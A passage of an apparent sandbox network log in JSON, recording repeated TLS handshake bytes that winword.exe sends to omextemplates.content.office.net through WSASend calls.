  358. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe\\xba\\x18vr\\xf4\\xbe\\xadz!\\xcf\\xc5\\x19\\xe0\\xb9\\x93-\\x9f7\\x95\\xc1}\\xb9g\\x94\r\\x7fd\\xc2\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  359. },
  360. {
  361. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe\\xf3ok\\xa6\\xc0\\x12\\xc0\\xe5\\xc8\\x12\\x96\\xb7\\xb86\\xbdfg`\\xce\\x8e\\xc9\\x046\\xf4:\\x90\\xfc&\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  362. },
  363. {
  364. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbex\\xd3\\x8e\\xda]\\xae\\x92\\xa5\\xe1a\\xad\\xfcb'\\xae\\x86\\x10\\xf4fz,\\x15o\\xa4\\x8e%\\xd3x\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  365. },
  366. {
  367. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe\\xc6\\x82q+\r\\x08\\xf6r\\x9d\\xd3rm\\xcd06\\x0b\\xe3$\\xfa\\xd4\\xd5da\\x97<b\\xb5l\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  368. },
  369. {
  370. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe5\\x8b\\xde\\xed\\xfbn\\xf5\\xcb\\x1a\\x18\\xc3zd\\xd9<\\x1bi*\\xc6\\xf1\\x99_`\\xb5_\\x19lj\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  371. },
  372. {
  373. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbeo\\xee\\xb3\\xa883\\x1e\\x82qc\\xfd\\xab\\xec`,}hj~\\xbb\\xba5\\x16\\xa8|\\xfd\\xc2\r\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  374. },
  375. {
  376. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe\\xdf\\xe4\tv\\xf715\\xdd\\xfa\\x04\\x82m\\xf4\\xb8\\xd6\\x02s\\xbf=\\xa8\\xe6\\x9d\\x8d{e\\xc1\\x8b\\x9a\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  377. },
  378. {
  379. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe\\xd8\\x08\\xe0\\xa55tig\\xf1yb\\xb4n\\xed\r\\xees?\\xc8\\x9e\\xef\\xd7\\x1er\\xf7.p\\xcf\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  380. },
  381. {
  382. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe0b\\xed$\\xe9\\xfb\\x1f);\\x17~\\x8e\\xd8nx\\xd2\\x90\\xc8\\x08!=\\xafjx\\x99u\\xc0\\xd3\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  383. },
  384. {
  385. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbei\\xcbp{r_:1}\\xa8\\xdf\\xc6\\xaca\\xfc\\xd2\\xe6m\\xd1\\xd3a\\xeb\\x08\\xde\\xf1\\x05\\xb5\\xb1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  386. },
  387. {
  388. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe\\xa1s\\x85\\x1f9\\xd7\\xbb\\xbd\\x05i\\xa3`\\x85\\x97\\x80i!\\x8b{\\xae\\x92\\xdfb\\xcc\\x17\\xf3\\xbdi\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  389. },
  390. {
  391. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe0\\xe3b\\xcb\\xc7\\x04\\xe7u\\xe5\\xf3\t~_\\xf6\\xe5\\x8c5\\xf8\\xbf\\xa2\\xaa\\xeb\\x9a4[?\\xd3\\xb6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  392. },
  393. {
  394. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe\\x15^k\\x8e6v\\x95\\xa8\\xe9\\x1e\\xe1w\\xc3l\\x0eo\\xb5\\xf8\\x94\\x88\\xd3w\\x1e\\x08\\xe9@\\xf4\\xf8\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  395. },
  396. {
  397. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbew'\\xf4q\\xf7v\\xfe\\xe6\\xa3\\x97\\x7fv}\\x1a\\xef\\x1b\\xcc\\xb3\\xba(\\xc9\t\\x01\\x9ath\\x93\\xe0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  398. },
  399. {
  400. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe6\\xc0\\xc2y)\\xd2#f#m\\x96\\xcb\\x0b-j\tb\\xb5a:\\xa3\\xda\\x07k\\xa6e\\xcbz\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  401. },
  402. {
  403. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbef\\xb5~\\xc8r\\xec\\x91v\\xd38\\x17\\xfa\\xbar7\\xe4\\xb3\\x96\\xa1do\\x03(*l\\xb6\\xdf\\xa8\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  404. },
  405. {
  406. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbel\\xb33\\x06\"\\x18\\xcai\\xcec\\xf0\n\\xc8[4\\x19\\x0ek\\xa5\\xab\\x9a\\xcf\\xa7\\x88i\\x96\\xe8\\xd1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  407. },
  408. {
  409. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe\\xe4\\x85d\\x8b<\\x0bg\\xa5\\xae\\xfe\\x89\\x84\\x1c\\xdc\\xd4\\xf91\\xe7\\xcb\\x1f\\xd0\\x0f\\xdc;\\x95vv\\x8c\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  410. },
  411. {
  412. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe]\\x00\\xe6h\\x0ez$\\x83\\x0b\\xcf\\xcf,\\x06-\\xde`b*frwx\\xb3 ife\\x1b\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  413. },
  414. {
  415. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe2\\x1d\\x9f\\xad\r\\xd0\\x981\\xb6\\x0e/*\\x19\\xf69\\xcc0o\\xb7\\xfexe\\xb41\\xc7\\x14ip\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  416. },
  417. {
  418. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe\\xee>\\xf4$f\\x1e\\x01\\xd2\\x9fz\\xe7gv\\xc8{\\x80m<\\x1f\\x94\\x1d\\x01\\\\xda\\x82cc\\xdf\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  419. },
  420. {
  421. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe\\x9e\\x82c!{di\\xbd\\xc6\\xe6\\xa9/a\\xe5\\xd1^\\x14\\x98*\\xae\\x1cv\\x81\\xdc/\\x04\\x8a\\xc0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  422. },
  423. {
  424. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe\\x17^\\xecy\\xd4\t$<\\x0f\\x7f\\xe83\\xc2\\xf5\\x9a.m\\x18\\xc8/\\x8b\\xe51h\\x1b\\xcd7\\xb0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  425. },
  426. {
  427. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x045\\x18\\xd4\\x16\\xe8\\x11\\xf0\\xe7\\x7f\\x86\\xae_k\\xb6x\\xedd\\x8a\"\\x8e\\xd96\\xd5\\xb2\\xd0\\xb1\\x8d\\x14\\x8f8\r\\xd9\"da\"\\xc5rj\\x03\\xfc*\\x8dn*@\\xe5\\xcc\\x1f\\xad.\\x12ssq\\x9e$u~\\x18pj\\xd0\\xa6\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa0\\x81\\xdcn)\\x92\\x970\\x9b\\x84\\x81\\x0e\\xb8\\x1eq`\\x977hb\\xe7\\xa4\\xd2\\xb7r\\xee\\x03o\\xa2\\x19\\x87\\xb7\\x8d\\xb7e\\x88\\xcd\\xf2j\\xf9\\xaf\\xfc\\x11\\x11:\\x88\\xd4\\xad"
  428. },
  429. {
  430. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04_?\\xc1\"\\xf6\\x1b\\x19\\x10b\\xb8\\x0e\\x85ke\\xf4\\x1eg\\xfd\\xdc\\xba\\xf0*\\xe8\\xdd(\\x1f\\x0ea\\xaf\\x00*\\x9b\\xc9\\x8a\\x14\\xc8\\x89\\x0b\\xf4\\xe3a\\xd63\\xe1\\x14\\xee\\xd1&\\xed\\xfd\\xc9\\xb4\\x02\\x8f\\x0ba\\x01\\x013\\xb4\\xf1\\xb7~1\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xdb$l!\\x82\\xfee\\xf9\\x07;\r\\x03x,\\x0b\\xa9\\xfc\\x9f3\\xc0\\xa7\\x1e\\xe8xp`\\xd3]\\xa9\\xe2\\x84\\x9c\\xf4\\x9fbak\\x9c\\x96\"\\xb05m]\\xca]\\x16\\xf4"
  431. },
  432. {
  433. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04p\\xa5t#\\xdf\\x8b\\x94q?\\x94\\x12\\xf2\\x87\\x10\\xd32\\xfe\\xfc\\xd7\\x9f\\xd3\\x01!^\\xb5p\\x85\\x17\\xc4x|\\xac]3\\xe8\\x93\\x00\\xdb+q\\xb4\\xf6\\x16%\\xfdt+\\xd6f>\\xc4=(\\xee\\xa9\\xf6\\xc7gf\\x16\\xa0\\xa8\\xbc\\x9e\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x06\\xcf;_\\x8c\\x07*u\\x9c8\\x8cn\t\\xeb\\xd1p/\\x84\\xc6\\xe6\\x8e-\\x90\\x9e5\\xf0wm>\\xee\\xcb\\x98\\xa3\\x9b\\xf7\\xafk\\xec\\xfc\\x10&\\x95q=\\xc0l\\xe3\\xc3"
  434. },
  435. {
  436. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04vf\\x9c\\xfc\\xefa\\x94\\x99\\x11\\xc2\\x87b]\\xddhx\\x01qv+\\xc8d\\xf0\\xbc\\x86\\x18\\xa3\\xd3\\xbd\\xf8\\x9c,\\x8dz@\\x80e\\xf3%(\\x86\\xd9\\xc8\\xc2\\xff\\xe8\\xef\\xde__5ib\\xe1\\x06\\xed\\xb9\\xff\\x976b\\xf7op\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xab$\\xc9\\xdeu\\xd2\\xe1\\xcf\\xfatd\\xf6,\\x15\\xfb*\\xe2\\xda\\x93\\x855fhw\\xe5\\x1ck\\x7f\\xf4\\x98\\xca\\x82o\tz\\xe2\\xf7\\x13\\xabn\\xf6(\\xaa\\x05)\\x07\\x93c"
  437. },
  438. {
  439. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04$g\\x8bt\\x1d\\x94\\xd0w\\xd1\\x9d\\xb8\";,g\\xd4<\\xfa%j\\xa5\\xb1\\xe7\\xd6\\x7f~\\x1a\\x83jt\\xa2lf\\xa3a\\xab\n\\xf3\\x9f\\x81t\\xa2\\x7f\\xa9\\xeakn\\x93\\x1b:\\x92\\xf0\\xc0x6\\xf4\\x04\\x14su\\xdc\\xc1\\x12\\xac\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x07\\xd2\\xaa\\xae\n\\x93\\x96u\\x08\\xd5\\xd2q-\\xe3\\xe8l_{#\\x99l\\x99\\xf5\\xc4\\x0c\\xb6\\xe1\\xda\\xe9\\xe9\\x1f\\xd0p\\x80\\xaf\\xf3&\\x0b\\x01\\xc4_\\xe4\\xc6\\x8f\\xadn\\xce5"
  440. },
  441. {
  442. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04c0\\xf8\\xf9\\x8b\\xe9\\x11\\xab\\x9f\\x9f\\xbe\\x99\\x85f\\xcc\\x87 \\xae\\xa4%\\xfc\\x17,\\xe4\\x8d\\x82\\x8c{]\\xab\\xfc9\\x19\\xc1o\\xf4\\x96\\xe0\\xd7\\xa7t\\x1d\\xd5\\x07q\\xc4\\xeau?c\\x0c\\xaf\\xf5a\\x95\\xb8\\xf2\\x9e<-\\x03\\x8b9\\xf9\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000h4\\xce\\xae\\x8c\\xd5\\x19\\x15\\x08\r0\\xf1n\\xf9\\xe0\\xbf'9\\x7f\\xa4\\x16\\x00\\xa5`\\\\x8a\\xce\\xeb\\xabx\\xc7\\x15\\xbe\\xba\\xbc\\x11\\x19a9\\xd6\\x12n\\xce\\xc9\\x1f\\xdc}\\xbf"
  443. },
  444. {
  445. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x01\\xd6\\xb9\\x18i\\xdf\\x80\\x17mo{\\x97\\xfe\\x9c\\xb7\\xc9\\xa5\tpu\\x01\\xc7~\\xdch\\xbbq\\xc8w\\x87d\\xec\\xfbf\\xaaxpo\\x8e\\x93\\x9c\r{cr\\xab.\\xf6\\xa1tb/\\xcc\\xfb\\xe4\\xdf\\x92\\xd9j\\xb5\\x82\\xf9@\\xf6\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1c\\xa5\\x03\\x88-\\x0c\\xb6.\\xb1\\x00'b\\xda'\\xa4*\\xe6\\xacf\\x1b\\x0ee\\xa1i\\x83w\\xd5\\xc8\\x00\\xff(\\xdd\\xf3c\\xb3\\x98\\xbb\\x10'\\x90n\\xc3\\x07 \\xdd\\xe7\\xf3 "
  446. },
  447. {
  448. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd3p\\x05\\xceh\\xfb\\x88@\\x1f>\\xf4\\xd4\\xb6\\xf4\\xcd\\xb0\\xa8\\xb7\\xfe2x\\xda\\x1d\\xffj\\xf5w`\\xbb0g3^\\xd4+\\x89\\x04\\x0f\\xc4\\xb6\\xeb\\x91o\\xb6\\x86\\x8a\\xab6!\\xe4\\xb6\\xdaf\\xd6f\\xa3x\\xda\\xec\\xfe\\x8an\\xa2\\x85\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x86\\x93\\x8f\\xc8\\x11\\xce \\xa5\\x99\\xf1\"\\xa2\\xc7\\x18\\xa1y\\xae\\x93,gp\\xcer\\xcd\\x1f\\xa2\\xf9\\xcck\\xd4e\\xf4\\x80}4\\xea\\xa1\\xdcb\\x1c\\x81\\x8e\\xec\\xddl\\x82\\xeb\\xfe"
  449. },
  450. {
  451. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xbetc\\xc4\\xa2\\xa3\\x86o\\xf54\\x0f\\x94\"\\xd6>\\xc7\\xfe\\xb6\\x08\\x04\\x89\\x0b1b0}|ro\\xc5n{\\xc6\\x108\\xaai3-\\xee\\x84\\x9b\\xd6\\xa1\\x0e\\x15\t\\x8e\\x801\\xf9\\xb1\\xaec\\xfa\\x1b\\xe7\\xb3r\\x97\\xfec\\xb1\\xd5\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xc2\\xc9\\xcf\\xac\\xe5u\\xbe\\x8e\\xef\\x15\\xe7\"km\\xd1\\x9a\\xb8\\xe8\\x8e\\x98\\xbc\\xc0\\x85\\x12w\\xf5nqt3\\xda\\xc5a\\xca,\\x06\\xfb:\\xa1\\xde\\xcb\\xde\\xda\\x06\\x1e\\xbe\\xc5("
  452. },
  453. {
  454. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x90o+\\xf6pap\\xb8\\xf7y\\xa7\\xe3\\xac\\x8bw\\xfd\\xbc\\x97\\xda\\xeclk\t\\xa0%\\xcd/t\\xe2\\xc7\\x87\\xbd-\\x0c;\\xfai\\xb5\\xb1\\xdd\\xb0\\xd2\\xb0t\\xf7\\x05)\\xfbemk9\\xba\\x1d3g\\x00p\\x98z_\\xb2\\xf5\\x95\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000c\\x19\\x12l\\xf75\\x9c\\xc0\\x8f\\x9b\\xfe\\xbe\\xa0\\xf3\\x88)\\xc0?s\\xab\\x0c\\x05:\\xcd\"p\\x88\\xdex\\xeepr\\x81*00\\xb7\\xc4\\xcaff\\x94m:p\\xa0?\\x9d"
  455. },
  456. {
  457. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xda\\x9a\\x06a\\xf0\\xd94)k\\xd9\\x92\\xe3\\xcf\\x1a@\\xde\\xbc\\x93\\x8d\\xe4z\\x88\\xb1\\x99:\\xce\\xe2\\xf8\\xb6\\x90p\\xe4\\xf18\\x87\\xa2\\x9b\\xf3n\\x9as\\xee\\xdf\\x83\\x1c\\x81]\ro\\xfb\\x0b\\xdau\\xeb ts[\\xc77yy\\xa8:\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1f\\xbb\\x94c\\xe0\\xfd\\xdd\\x0c\\x07\\xde\\xa4\\xe4\\x18\\x98\\x94z\\xbb\\xd6j\\xe1?\\xcdkl\\xd3]t})\\xd1\\x1a\\xcf\\x0c\\xf1\\x94\\xc9\\xb8\\xd05\\xf3k\\x1cy\\xcc\\xdfn\\xd9\\x1a"
  458. },
  459. {
